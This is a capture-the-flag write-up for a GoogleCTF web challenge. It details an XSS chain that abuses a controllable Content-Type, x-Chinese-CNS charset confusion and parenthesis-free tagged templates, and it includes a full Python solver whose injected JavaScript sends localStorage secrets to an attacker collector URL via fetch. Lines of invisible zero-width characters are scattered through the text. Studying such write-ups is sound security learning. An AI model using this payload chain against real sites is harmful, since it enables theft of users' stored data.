← Back to Writeups
CUSTOMMediumWeb

Lost In Transliteration

XESXOR9/10/20267 min read
#web#custom#medium#charset_confusion_xss#content_type_abuse#tagged_template_rce#js_string_breakout_via_encodin#automatic_semicolon_insertion#var_hoisting#windows

Lost In Transliteration

Platform: googlectf2025 | Category: Web | Type: Challenge | Difficulty: Medium | OS: Windows | Author: XESXOR | Date: 2026-06-09 | Status: Solved Techniques: charset_confusion_xss, content_type_abuse, tagged_template_rce, js_string_breakout_via_encoding, automatic_semicolon_insertion, var_hoisting

Summary

Task: C# ASP.NET app with Greek-to-Latin transliterator, XSS bot stores flag in localStorage, JsEncode escapes specials but passes Unicode letters, ct parameter controls Content-Type. Solution: Serve script.js as text/html to activate embedded <script> tag, use x-Chinese-CNS charset confusion (Chrome falls back to windows-1252) to split CJK letter bytes into JS special characters, break out of string with tagged template for parenthesis-free code execution.

Lost In Transliteration — GoogleCTF 2025

Description

We found a service that converts Greek characters to Latin. It seems simple: ΕΛΛΑΣ becomes ELLAS. However, our logs show some very strange outputs. The service is flawed, but we think it's by design. There's a secret hidden in the way it handles the characters. Your job is to find what's "lost" in the transliteration. The flag is in there somewhere. Good luck.

English summary: A C# ASP.NET web application serves a Greek-to-Latin transliteration tool. A Puppeteer XSS bot stores the flag in localStorage for http://localhost:1337 and visits an attacker-supplied URL. The goal is to achieve XSS to exfiltrate the flag. User input is reflected inside a JS string via a custom JsEncode function that escapes all non-letter, non-whitespace characters. The Content-Type header is controllable via a ct query parameter. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Architecture

The app has three endpoints:

  • / — Returns HTML that loads <script type=module src='/file?filename=script.js&q=...&ct=text/javascript'>.
  • /file — Serves script.js or style.css. Replaces TEMPLATE_QUERY_JS with JsEncode(q). The ct parameter sets the Content-Type header (must match ^text/ and parse as a valid ContentType).
  • /xss-bot — Launches a Puppeteer bot that sets localStorage.setItem("flag", FLAG) for http://localhost:1337, then navigates to the attacker-supplied URL. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

JsEncode — the sanitizer

csharp
private static bool IsSafeChar(char c) {
    var cat = char.GetUnicodeCategory(c);
    var isLetter = cat == UnicodeCategory.LowercaseLetter ||
                   cat == UnicodeCategory.UppercaseLetter ||
                   cat == UnicodeCategory.OtherLetter;
    return isLetter || char.IsWhiteSpace(c);
}
  • Letters (Ll, Lu, Lo categories) and whitespace pass through raw.
  • Everything else — including ', \, <, >, /, ;, (, ), ` — is escaped to \uXXXX.
  • A JS-side filter also blocks <script>, </script>, javascript:, onerror= substrings in window.q. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This seems airtight: you can't break out of window.q = '...' because the single quote is escaped, and you can't inject HTML tags.

Vulnerability 1: Content-Type abuse (text/html)

The ct parameter is validated only with ^text/ regex and ContentType parsing. Setting ct=text/html makes Chrome parse script.js as an HTML document instead of JavaScript.

The JS source contains a critical comment on line 286:

javascript
// TODO: Maybe we should move this directly to HTML into a <script> tag?
window.q = 'TEMPLATE_QUERY_JS';
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

// XSS prevention
const PAYLOADS = [`<script>`, `</script>`, `javascript:`, `onerror=`];

When parsed as HTML:

  1. The <script> in the comment on line 286 opens a real script element.
  2. The `</script>` literal on line 290 closes it.
  3. Lines 286–290 (including window.q = '<PAYLOAD>') execute as JavaScript inside a <script> block.
  4. The JS-side PAYLOADS filter on lines 290–295 is outside this script block and never runs.

Vulnerability 2: Charset confusion (x-Chinese-CNS → windows-1252)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The critical line: Encoding.RegisterProvider(CodePagesEncodingProvider.Instance); enables legacy charset encodings.

Results.Text(text, contentType: ct) re-encodes the response body using the charset declared in ct. With ct=text/html;charset=x-Chinese-CNS:

  1. .NET encodes CJK codepoints (which are OtherLetter category → pass IsSafeChar) into 2-byte sequences in the CNS 11643 encoding.
  2. Chrome does NOT support x-Chinese-CNS → falls back to windows-1252 (single-byte Latin).
  3. The 2-byte sequences get split: the lead byte becomes a valid JS identifier character (e.g., É = 0xC9), and the trail byte becomes an unescaped ASCII special character. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key codepoints discovered via fuzzing:

UnicodeCNS byteswindows-1252 decodeProduces
U+51D8C9 27É'single quote '
U+5604C9 3AÉ:colon :
U+5889C9 3DÉ=equals =
U+5ADDC9 60É`backtick `

This means CJK characters that pass IsSafeChar as "OtherLetter" produce unescaped JS special characters after the charset confusion. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Combining both vulnerabilities

With ct=text/html;charset=x-Chinese-CNS:

  1. Chrome parses the JS file as HTML → the comment's <script> creates a real script block.
  2. Inside that block, window.q = '<PAYLOAD>' executes as JS.
  3. CJK characters in the payload produce ', :, =, ` after charset confusion.
  4. We can break out of the string and execute arbitrary JavaScript.

Solution

Payload construction

Constraints:

  • No parentheses () — they'd get a lead byte prepended by the CNS encoding.
  • No semicolons — use newlines for ASI (Automatic Semicolon Insertion).
  • Must handle the <script> tag? text from the comment — the word tag and ? need to be absorbed. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The technique: tagged templates — setTimeout`code`` evaluates code without parentheses.

The injection (what Chrome's JS engine sees after charset confusion):

javascript
// Inside the <script> block, after windows-1252 decoding:
 tag ? window.q = 'xÉ' in É : alert    // ternary absorbs 'tag?', breaks string with '
var É = setTimeout                       // assign setTimeout to É (hoisted)
É`fetch('https://EXFIL/'+encodeURIComponent(localStorage.flag))//É`  // tagged template RCE
var tag                                  // hoist 'tag' identifier (used in ternary above)
É`                                       // absorb trailing backtick from template

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The q parameter value uses CJK codepoints:

  • \u51D8 → produces ' (breaks out of string)
  • \u5604 → produces : (ternary operator)
  • \u5889 → produces = (assignment)
  • \u5ADD → produces ` (template literal delimiter)

Solve script

python
#!/usr/bin/env python3
"""
Lost In Transliteration - GoogleCTF2025 solver.

Chain:
  1. /file reflects q into:  window.q = '<q>';
  2. Serve as text/html so the literal <script>...</script> already present in the
     file becomes a real EXECUTING <script> (the JS PAYLOADS filter never runs).
  3. JsEncode keeps Letters+Whitespace, escapes ' \\ < etc.
     charset=x-Chinese-CNS: .NET encodes CJK letters to 2-byte seqs whose 2nd byte
     is a special ASCII char (' : = `). Chrome doesn't know x-Chinese-CNS -> falls
     back to windows-1252 -> splits bytes -> lead byte = JS-identifier char (É),
     trail byte = unescaped special char.
  4. tagged-template + setTimeout (no parens) + ASI + hoisting.
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Usage:
  python3 solve.py <BASE_URL> <EXFIL_URL>
    BASE_URL  e.g. https://lost-in-transliteration-web.2025.ctfcompetition.com
    EXFIL_URL your collector base, e.g. https://abc.x.pipedream.net/f
"""
import sys, urllib.parse, urllib.request

# x-Chinese-CNS codepoints -> windows-1252 [lead-ident-char][special-ascii]
Q = "\u51D8"  # -> XX '
C = "\u5604"  # -> XX :
E = "\u5889"  # -> XX =
B = "\u5ADD"  # -> XX `

def build_q(exfil_base):
    code = "fetch('" + exfil_base + "/'+encodeURIComponent(localStorage.flag))//"
    q = ("x" + Q + "in " + C + "alert\n"
         + "var " + E + "setTimeout\n"
         + B + code + B + "\n"
         + "var tag\n"
         + B)
    return q
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def build_target(base, exfil_base):
    q = build_q(exfil_base)
    enc = urllib.parse.quote(q, safe="")
    return (base + "/file?filename=script.js"
            "&ct=text/html;charset=x-Chinese-CNS"
            "&q=" + enc)

def main():
    if len(sys.argv) < 3:
        print(__doc__); sys.exit(1)
    base = sys.argv[1].rstrip("/")
    exfil = sys.argv[2].rstrip("/")
    target = build_target(base, exfil)
    print("[*] Target URL (visited by bot):")
    print(target)
    bot = base + "/xss-bot?url=" + urllib.parse.quote(target, safe="")
    print("\n[*] Submit this to the XSS bot:")
    print(bot)
    try:
        print("\n[*] Sending to /xss-bot ...")
        with urllib.request.urlopen(bot, timeout=60) as r:
            print("[*] bot response:", r.status, r.read().decode(errors="replace"))
    except Exception as e:
        print("[!] could not auto-submit:", e)
        print("    -> open the /xss-bot URL above manually.")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == "__main__":
    main()

Execution

bash
python3 solve.py https://lost-in-transliteration-web.2025.ctfcompetition.com https://webhook.site/TOKEN

The bot visits the crafted URL → Chrome parses script.js as HTML with x-Chinese-CNS charset → falls back to windows-1252 → CJK bytes split into JS specials → string breakout → setTimeout tagged template fires fetch() → flag exfiltrated to webhook.site.

Webhook received:

GET /TOKEN/CTF%7BREDACTED%7D

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍